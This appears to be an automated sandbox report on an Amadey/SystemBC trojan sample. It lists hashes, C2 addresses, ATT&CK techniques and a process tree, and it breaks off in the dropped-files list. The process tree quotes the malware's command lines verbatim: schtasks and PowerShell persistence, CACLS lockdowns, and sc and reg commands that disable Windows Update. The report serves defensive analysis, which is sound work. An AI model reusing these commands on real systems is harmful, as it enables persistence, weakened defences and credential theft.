amadey | 682abd62b6e3c0e8ca57f079cd96f2d3848752eaf7002bdf57bfb512bd242811

Analysis

max time kernel
158s
max time network
241s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
09-12-2022 09:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2239a58cc93fd94dc2806ce7f6af0a0b.exe
Size

7.4MB
MD5

2239a58cc93fd94dc2806ce7f6af0a0b
SHA1

f09eb7d69bc7440d3d45e14267236a78ac789fcb
SHA256

682abd62b6e3c0e8ca57f079cd96f2d3848752eaf7002bdf57bfb512bd242811
SHA512

f77c16626a0e17ff79b95f9fded6a365f913896c89baf76d16bcc8706f3ad10a9476c7cbd3f235250b936171c6e958e145c402952506dc0e434a4f911c99fe02
SSDEEP

196608:U+rNR2F7EU+iE09OKsRk3PdM+i+8lHFL9AYS:/RWEU+1OP6+X+oYS

Score

10^/10

amadey systembc collection evasion persistence spyware stealer trojan upx

Malware Config

Extracted

Family

amadey

Version

3.50

85.209.135.109/jg94cVd30f/index.php

Extracted

Family

systembc

89.22.236.225:4193

176.124.205.5:4193

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

Emit64.exe

description	pid	process	target process
PID 1468 created 1212	1468	Emit64.exe	Explorer.EXE
PID 1468 created 1212	1468	Emit64.exe	Explorer.EXE
PID 1468 created 1212	1468	Emit64.exe	Explorer.EXE

SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
trojan systembc
Blocklisted process makes network request 2 IoCs

Processes:

rundll32.exerundll32.exe

flow pid process

11 2036 rundll32.exe
12 1048 rundll32.exe
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

Emit64.exe

description ioc process

File created C:\Windows\System32\drivers\etc\hosts Emit64.exe
Executes dropped EXE 8 IoCs

Processes:

gntuud.exeEmit64.exegntuud.exeavicapn32.exeumciavi32.exeEngine.exegntuud.exegntuud.exe

pid process

2024 gntuud.exe
1468 Emit64.exe
896 gntuud.exe
1960 avicapn32.exe
1084 umciavi32.exe
336 Engine.exe
564 gntuud.exe
1540 gntuud.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
11	2036	rundll32.exe
12	1048	rundll32.exe

description	ioc	process
File created	C:\Windows\System32\drivers\etc\hosts	Emit64.exe

pid	process
2024	gntuud.exe
1468	Emit64.exe
896	gntuud.exe
1960	avicapn32.exe
1084	umciavi32.exe
336	Engine.exe
564	gntuud.exe
1540	gntuud.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\SETUP_22224\Engine.exe	upx
behavioral1/memory/1084-116-0x0000000002240000-0x0000000002398000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\SETUP_22224\Engine.exe	upx
behavioral1/memory/336-122-0x0000000000400000-0x0000000000558000-memory.dmp	upx
behavioral1/memory/336-166-0x0000000000400000-0x0000000000558000-memory.dmp	upx

Loads dropped DLL 14 IoCs

Processes:

2239a58cc93fd94dc2806ce7f6af0a0b.exegntuud.exerundll32.exeumciavi32.exerundll32.exe

pid	process
1228	2239a58cc93fd94dc2806ce7f6af0a0b.exe
2024	gntuud.exe
2024	gntuud.exe
2024	gntuud.exe
2036	rundll32.exe
2036	rundll32.exe
2036	rundll32.exe
2036	rundll32.exe
2024	gntuud.exe
1084	umciavi32.exe
1048	rundll32.exe
1048	rundll32.exe
1048	rundll32.exe
1048	rundll32.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

rundll32.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

gntuud.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\Emit64.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000017001\\Emit64.exe"	gntuud.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\avicapn32.exe = "C:\\Users\\Admin\\1000018002\\avicapn32.exe"	gntuud.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\syncfiles.dll = "rundll32 C:\\Users\\Admin\\1000019012\\syncfiles.dll, rundll"	gntuud.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\umciavi32.exe = "C:\\Users\\Admin\\AppData\\Roaming\\1000021000\\umciavi32.exe"	gntuud.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 18 IoCs

Processes:

2239a58cc93fd94dc2806ce7f6af0a0b.exegntuud.exeEmit64.exegntuud.exeavicapn32.exerundll32.exegntuud.exerundll32.exegntuud.exe

pid	process
1228	2239a58cc93fd94dc2806ce7f6af0a0b.exe
1228	2239a58cc93fd94dc2806ce7f6af0a0b.exe
2024	gntuud.exe
2024	gntuud.exe
1468	Emit64.exe
1468	Emit64.exe
896	gntuud.exe
896	gntuud.exe
1960	avicapn32.exe
1960	avicapn32.exe
2036	rundll32.exe
2036	rundll32.exe
564	gntuud.exe
564	gntuud.exe
1048	rundll32.exe
1048	rundll32.exe
1540	gntuud.exe
1540	gntuud.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

1476 sc.exe
360 sc.exe
1748 sc.exe
108 sc.exe
1384 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1380 schtasks.exe
280 schtasks.exe
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 10 Go-http-client/1.1

pid	process
1476	sc.exe
360	sc.exe
1748	sc.exe
108	sc.exe
1384	sc.exe

pid	process
1380	schtasks.exe
280	schtasks.exe

description	flow	ioc
HTTP User-Agent header	10	Go-http-client/1.1

Suspicious behavior: EnumeratesProcesses 23 IoCs

Processes:

2239a58cc93fd94dc2806ce7f6af0a0b.exegntuud.exeEmit64.exegntuud.exeavicapn32.exerundll32.exegntuud.exerundll32.exepowershell.exepowershell.exegntuud.exe

pid	process
1228	2239a58cc93fd94dc2806ce7f6af0a0b.exe
2024	gntuud.exe
1468	Emit64.exe
896	gntuud.exe
1960	avicapn32.exe
2036	rundll32.exe
564	gntuud.exe
1048	rundll32.exe
1048	rundll32.exe
1048	rundll32.exe
1048	rundll32.exe
1048	rundll32.exe
1540	powershell.exe
1540	powershell.exe
1048	rundll32.exe
1468	Emit64.exe
1468	Emit64.exe
1468	Emit64.exe
1468	Emit64.exe
1468	Emit64.exe
1468	Emit64.exe
1052	powershell.exe
1540	gntuud.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeShutdownPrivilege	692	powercfg.exe
Token: SeShutdownPrivilege	1472	powercfg.exe
Token: SeShutdownPrivilege	1148	powercfg.exe
Token: SeShutdownPrivilege	1324	powercfg.exe
Token: SeDebugPrivilege	1052	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2239a58cc93fd94dc2806ce7f6af0a0b.exegntuud.execmd.exetaskeng.exe

description	pid	process	target process
PID 1228 wrote to memory of 2024	1228	2239a58cc93fd94dc2806ce7f6af0a0b.exe	gntuud.exe
PID 1228 wrote to memory of 2024	1228	2239a58cc93fd94dc2806ce7f6af0a0b.exe	gntuud.exe
PID 1228 wrote to memory of 2024	1228	2239a58cc93fd94dc2806ce7f6af0a0b.exe	gntuud.exe
PID 1228 wrote to memory of 2024	1228	2239a58cc93fd94dc2806ce7f6af0a0b.exe	gntuud.exe
PID 2024 wrote to memory of 1380	2024	gntuud.exe	schtasks.exe
PID 2024 wrote to memory of 1380	2024	gntuud.exe	schtasks.exe
PID 2024 wrote to memory of 1380	2024	gntuud.exe	schtasks.exe
PID 2024 wrote to memory of 1380	2024	gntuud.exe	schtasks.exe
PID 2024 wrote to memory of 1560	2024	gntuud.exe	cmd.exe
PID 2024 wrote to memory of 1560	2024	gntuud.exe	cmd.exe
PID 2024 wrote to memory of 1560	2024	gntuud.exe	cmd.exe
PID 2024 wrote to memory of 1560	2024	gntuud.exe	cmd.exe
PID 1560 wrote to memory of 1064	1560	cmd.exe	cmd.exe
PID 1560 wrote to memory of 1064	1560	cmd.exe	cmd.exe
PID 1560 wrote to memory of 1064	1560	cmd.exe	cmd.exe
PID 1560 wrote to memory of 1064	1560	cmd.exe	cmd.exe
PID 1560 wrote to memory of 336	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 336	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 336	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 336	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1048	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1048	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1048	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1048	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1724	1560	cmd.exe	cmd.exe
PID 1560 wrote to memory of 1724	1560	cmd.exe	cmd.exe
PID 1560 wrote to memory of 1724	1560	cmd.exe	cmd.exe
PID 1560 wrote to memory of 1724	1560	cmd.exe	cmd.exe
PID 1560 wrote to memory of 1476	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1476	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1476	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1476	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1284	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1284	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1284	1560	cmd.exe	cacls.exe
PID 1560 wrote to memory of 1284	1560	cmd.exe	cacls.exe
PID 2024 wrote to memory of 1468	2024	gntuud.exe	Emit64.exe
PID 2024 wrote to memory of 1468	2024	gntuud.exe	Emit64.exe
PID 2024 wrote to memory of 1468	2024	gntuud.exe	Emit64.exe
PID 2024 wrote to memory of 1468	2024	gntuud.exe	Emit64.exe
PID 1480 wrote to memory of 896	1480	taskeng.exe	gntuud.exe
PID 1480 wrote to memory of 896	1480	taskeng.exe	gntuud.exe
PID 1480 wrote to memory of 896	1480	taskeng.exe	gntuud.exe
PID 1480 wrote to memory of 896	1480	taskeng.exe	gntuud.exe
PID 2024 wrote to memory of 1960	2024	gntuud.exe	avicapn32.exe
PID 2024 wrote to memory of 1960	2024	gntuud.exe	avicapn32.exe
PID 2024 wrote to memory of 1960	2024	gntuud.exe	avicapn32.exe
PID 2024 wrote to memory of 1960	2024	gntuud.exe	avicapn32.exe
PID 2024 wrote to memory of 2036	2024	gntuud.exe	rundll32.exe
PID 2024 wrote to memory of 2036	2024	gntuud.exe	rundll32.exe
PID 2024 wrote to memory of 2036	2024	gntuud.exe	rundll32.exe
PID 2024 wrote to memory of 2036	2024	gntuud.exe	rundll32.exe
PID 2024 wrote to memory of 2036	2024	gntuud.exe	rundll32.exe
PID 2024 wrote to memory of 2036	2024	gntuud.exe	rundll32.exe
PID 2024 wrote to memory of 2036	2024	gntuud.exe	rundll32.exe
PID 2024 wrote to memory of 1084	2024	gntuud.exe	umciavi32.exe
PID 2024 wrote to memory of 1084	2024	gntuud.exe	umciavi32.exe
PID 2024 wrote to memory of 1084	2024	gntuud.exe	umciavi32.exe
PID 2024 wrote to memory of 1084	2024	gntuud.exe	umciavi32.exe
PID 2024 wrote to memory of 1048	2024	gntuud.exe	rundll32.exe
PID 2024 wrote to memory of 1048	2024	gntuud.exe	rundll32.exe
PID 2024 wrote to memory of 1048	2024	gntuud.exe	rundll32.exe
PID 2024 wrote to memory of 1048	2024	gntuud.exe	rundll32.exe
PID 2024 wrote to memory of 1048	2024	gntuud.exe	rundll32.exe

outlook_win_path 1 IoCs

Processes:

rundll32.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1212

C:\Users\Admin\AppData\Local\Temp\2239a58cc93fd94dc2806ce7f6af0a0b.exe
"C:\Users\Admin\AppData\Local\Temp\2239a58cc93fd94dc2806ce7f6af0a0b.exe"
2⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1228

C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
"C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe" /F
4⤵
- Creates scheduled task(s)
PID:1380

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "gntuud.exe" /P "Admin:N"&&CACLS "gntuud.exe" /P "Admin:R" /E&&echo Y|CACLS "..\03bd543fce" /P "Admin:N"&&CACLS "..\03bd543fce" /P "Admin:R" /E&&Exit
4⤵
- Suspicious use of WriteProcessMemory
PID:1560

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:1064

C:\Windows\SysWOW64\cacls.exe
CACLS "gntuud.exe" /P "Admin:N"
5⤵
PID:336

C:\Windows\SysWOW64\cacls.exe
CACLS "gntuud.exe" /P "Admin:R" /E
5⤵
PID:1048

C:\Windows\SysWOW64\cacls.exe
CACLS "..\03bd543fce" /P "Admin:N"
5⤵
PID:1476

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:1724

C:\Windows\SysWOW64\cacls.exe
CACLS "..\03bd543fce" /P "Admin:R" /E
5⤵
PID:1284

C:\Users\Admin\AppData\Local\Temp\1000017001\Emit64.exe
"C:\Users\Admin\AppData\Local\Temp\1000017001\Emit64.exe"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1468

C:\Users\Admin\1000018002\avicapn32.exe
"C:\Users\Admin\1000018002\avicapn32.exe"
4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1960

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\1000019012\syncfiles.dll, rundll
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2036

C:\Users\Admin\AppData\Roaming\1000021000\umciavi32.exe
"C:\Users\Admin\AppData\Roaming\1000021000\umciavi32.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1084

C:\Users\Admin\AppData\Local\Temp\SETUP_22224\Engine.exe
C:\Users\Admin\AppData\Local\Temp\SETUP_22224\Engine.exe /TH_ID=_988 /OriginExe="C:\Users\Admin\AppData\Roaming\1000021000\umciavi32.exe"
5⤵
- Executes dropped EXE
PID:336

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c cmd < Cause.eml
6⤵
PID:972

C:\Windows\SysWOW64\cmd.exe
cmd
7⤵
PID:1628

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell get-process avastui
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1540

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dll, Main
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- outlook_win_path
PID:1048

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:1988

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:1476

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:360

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1748

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:108

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1384

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:564

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:820

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:1680

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:1900

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:112

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:1936

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:692

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1472

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1148

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qgoyddbo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'RtkAudUService64.exe' /tr '''C:\Users\Admin\Locktime\RtkAudUService64.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Locktime\RtkAudUService64.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'RtkAudUService64.exe' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "RtkAudUService64.exe" /t REG_SZ /f /d 'C:\Users\Admin\Locktime\RtkAudUService64.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1052

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn RtkAudUService64.exe /tr 'C:\Users\Admin\Locktime\RtkAudUService64.exe'
3⤵
- Creates scheduled task(s)
PID:280

C:\Windows\system32\taskeng.exe
taskeng.exe {4B652C77-CCA7-4874-98E2-130F0108F429} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1480

C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:896

C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:564

C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1540

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\1000018002\avicapn32.exe
Filesize
12.1MB

MD5
0f6ef96c5e687631ef27f1dcd1afe7b4

SHA1
ea8aeee11c243e3eacfa6753f708c20cbba39aac

SHA256
38381a42975028b181430a80d6009988d0d0cfa42493d3efbbfb72d3abe97648

SHA512
3ae1986071afffbed1978be560d5159f563d699be798e6ab6dc616a82104467b79ec872c891e11615d3793348730f311bce3a63f1ce289bb8d7c73399c26c5c9

Download Submit
C:\Users\Admin\1000018002\avicapn32.exe
Filesize
12.1MB

MD5
0f6ef96c5e687631ef27f1dcd1afe7b4

SHA1
ea8aeee11c243e3eacfa6753f708c20cbba39aac

SHA256
38381a42975028b181430a80d6009988d0d0cfa42493d3efbbfb72d3abe97648

SHA512
3ae1986071afffbed1978be560d5159f563d699be798e6ab6dc616a82104467b79ec872c891e11615d3793348730f311bce3a63f1ce289bb8d7c73399c26c5c9

Download Submit
C:\Users\Admin\1000019012\syncfiles.dll
Filesize
7.2MB

MD5
0d079a931e42f554016db36476e55ba7

SHA1
d5f1ab52221019c746f1cc59a45ce18d0b817496

SHA256
ead2c5aaf92fe07db45b99587f586c7a45f92c67220cd8113a5d2e7bcb320798

SHA512
1496f1296df89e1da8780f175631e2551300a99e6c7ea43d2750653fdf6e7ed096fdedd9f0d23b94190ecf418da09cf9c9b6caee5821ba1c457f0294063bbc9e

Download Submit
C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
Filesize
7.4MB

MD5
2239a58cc93fd94dc2806ce7f6af0a0b

SHA1
f09eb7d69bc7440d3d45e14267236a78ac789fcb

SHA256
682abd62b6e3c0e8ca57f079cd96f2d3848752eaf7002bdf57bfb512bd242811

SHA512
f77c16626a0e17ff79b95f9fded6a365f913896c89baf76d16bcc8706f3ad10a9476c7cbd3f235250b936171c6e958e145c402952506dc0e434a4f911c99fe02

Download Submit
C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
Filesize
7.4MB

MD5
2239a58cc93fd94dc2806ce7f6af0a0b

SHA1
f09eb7d69bc7440d3d45e14267236a78ac789fcb

SHA256
682abd62b6e3c0e8ca57f079cd96f2d3848752eaf7002bdf57bfb512bd242811

SHA512
f77c16626a0e17ff79b95f9fded6a365f913896c89baf76d16bcc8706f3ad10a9476c7cbd3f235250b936171c6e958e145c402952506dc0e434a4f911c99fe02

Download Submit
C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
Filesize
7.4MB

MD5
2239a58cc93fd94dc2806ce7f6af0a0b

SHA1
f09eb7d69bc7440d3d45e14267236a78ac789fcb

SHA256
682abd62b6e3c0e8ca57f079cd96f2d3848752eaf7002bdf57bfb512bd242811

SHA512
f77c16626a0e17ff79b95f9fded6a365f913896c89baf76d16bcc8706f3ad10a9476c7cbd3f235250b936171c6e958e145c402952506dc0e434a4f911c99fe02

Download Submit
C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
Filesize
7.4MB

MD5
2239a58cc93fd94dc2806ce7f6af0a0b

SHA1
f09eb7d69bc7440d3d45e14267236a78ac789fcb

SHA256
682abd62b6e3c0e8ca57f079cd96f2d3848752eaf7002bdf57bfb512bd242811

SHA512
f77c16626a0e17ff79b95f9fded6a365f913896c89baf76d16bcc8706f3ad10a9476c7cbd3f235250b936171c6e958e145c402952506dc0e434a4f911c99fe02

Download Submit
C:\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
Filesize
7.4MB

MD5
2239a58cc93fd94dc2806ce7f6af0a0b

SHA1
f09eb7d69bc7440d3d45e14267236a78ac789fcb

SHA256
682abd62b6e3c0e8ca57f079cd96f2d3848752eaf7002bdf57bfb512bd242811

SHA512
f77c16626a0e17ff79b95f9fded6a365f913896c89baf76d16bcc8706f3ad10a9476c7cbd3f235250b936171c6e958e145c402952506dc0e434a4f911c99fe02

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000017001\Emit64.exe
Filesize
9.9MB

MD5
7a5155b804e592d83f8319cbdb27e164

SHA1
da63718377b9086ef7f6db6b8b88e45062f31749

SHA256
5eb7b2fd13264f066b10946539eff6be750647de246cf791e57ca4c17b0b9c31

SHA512
3dbd6745d7b64ef2260e14df08c6aa36ee7e34b218dc11c83f5fbcaa934cf1385e79d208e061b9055c389cd5259ae2081b8dea47fac38844a2043b9a361d0346

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000017001\Emit64.exe
Filesize
9.9MB

MD5
7a5155b804e592d83f8319cbdb27e164

SHA1
da63718377b9086ef7f6db6b8b88e45062f31749

SHA256
5eb7b2fd13264f066b10946539eff6be750647de246cf791e57ca4c17b0b9c31

SHA512
3dbd6745d7b64ef2260e14df08c6aa36ee7e34b218dc11c83f5fbcaa934cf1385e79d208e061b9055c389cd5259ae2081b8dea47fac38844a2043b9a361d0346

Download Submit
C:\Users\Admin\AppData\Local\Temp\SETUP_22224\00000#Arrow.eml
Filesize
872KB

MD5
ccd28303d0a9104f491fa604338d7bee

SHA1
2b75395b1325c15b869659ba31af4c69d9415d6b

SHA256
bdcbe947182623e50b815d7775ef17fe03efad1f409bf3077a667df353b087e9

SHA512
a286db35eff2c79df972532950d4b3135b977319210d3f6056af27003bc4bea0aeeb897dd029920b8ab3e532eb70a8a6cd653574aeb15cbbe7e13ffcc953091a

Download Submit
C:\Users\Admin\AppData\Local\Temp\SETUP_22224\00001#Cause.eml
Filesize
10KB

MD5
b415a45148ad7e42685811c3afd188f8

SHA1
c88711600487c0449849b4c0f7fe2fe303f8f459

SHA256
9f24a88750b82e2e456fd41449b29280e3f257ad62952b4f9d410221d0ba2542

SHA512
4de877efe44c56936de9900c3a515a293abed81ac355376b20888581f629a4f5eee4f5db999b2a6f8a8094b118f54dc445365a8d60a542057ef8f93e1f22fce3

Download Submit
C:\Users\Admin\AppData\Local\Temp\SETUP_22224\00002#Del.eml
Filesize
1.3MB

MD5
3421757f64473b27d5e538cbeaec2833

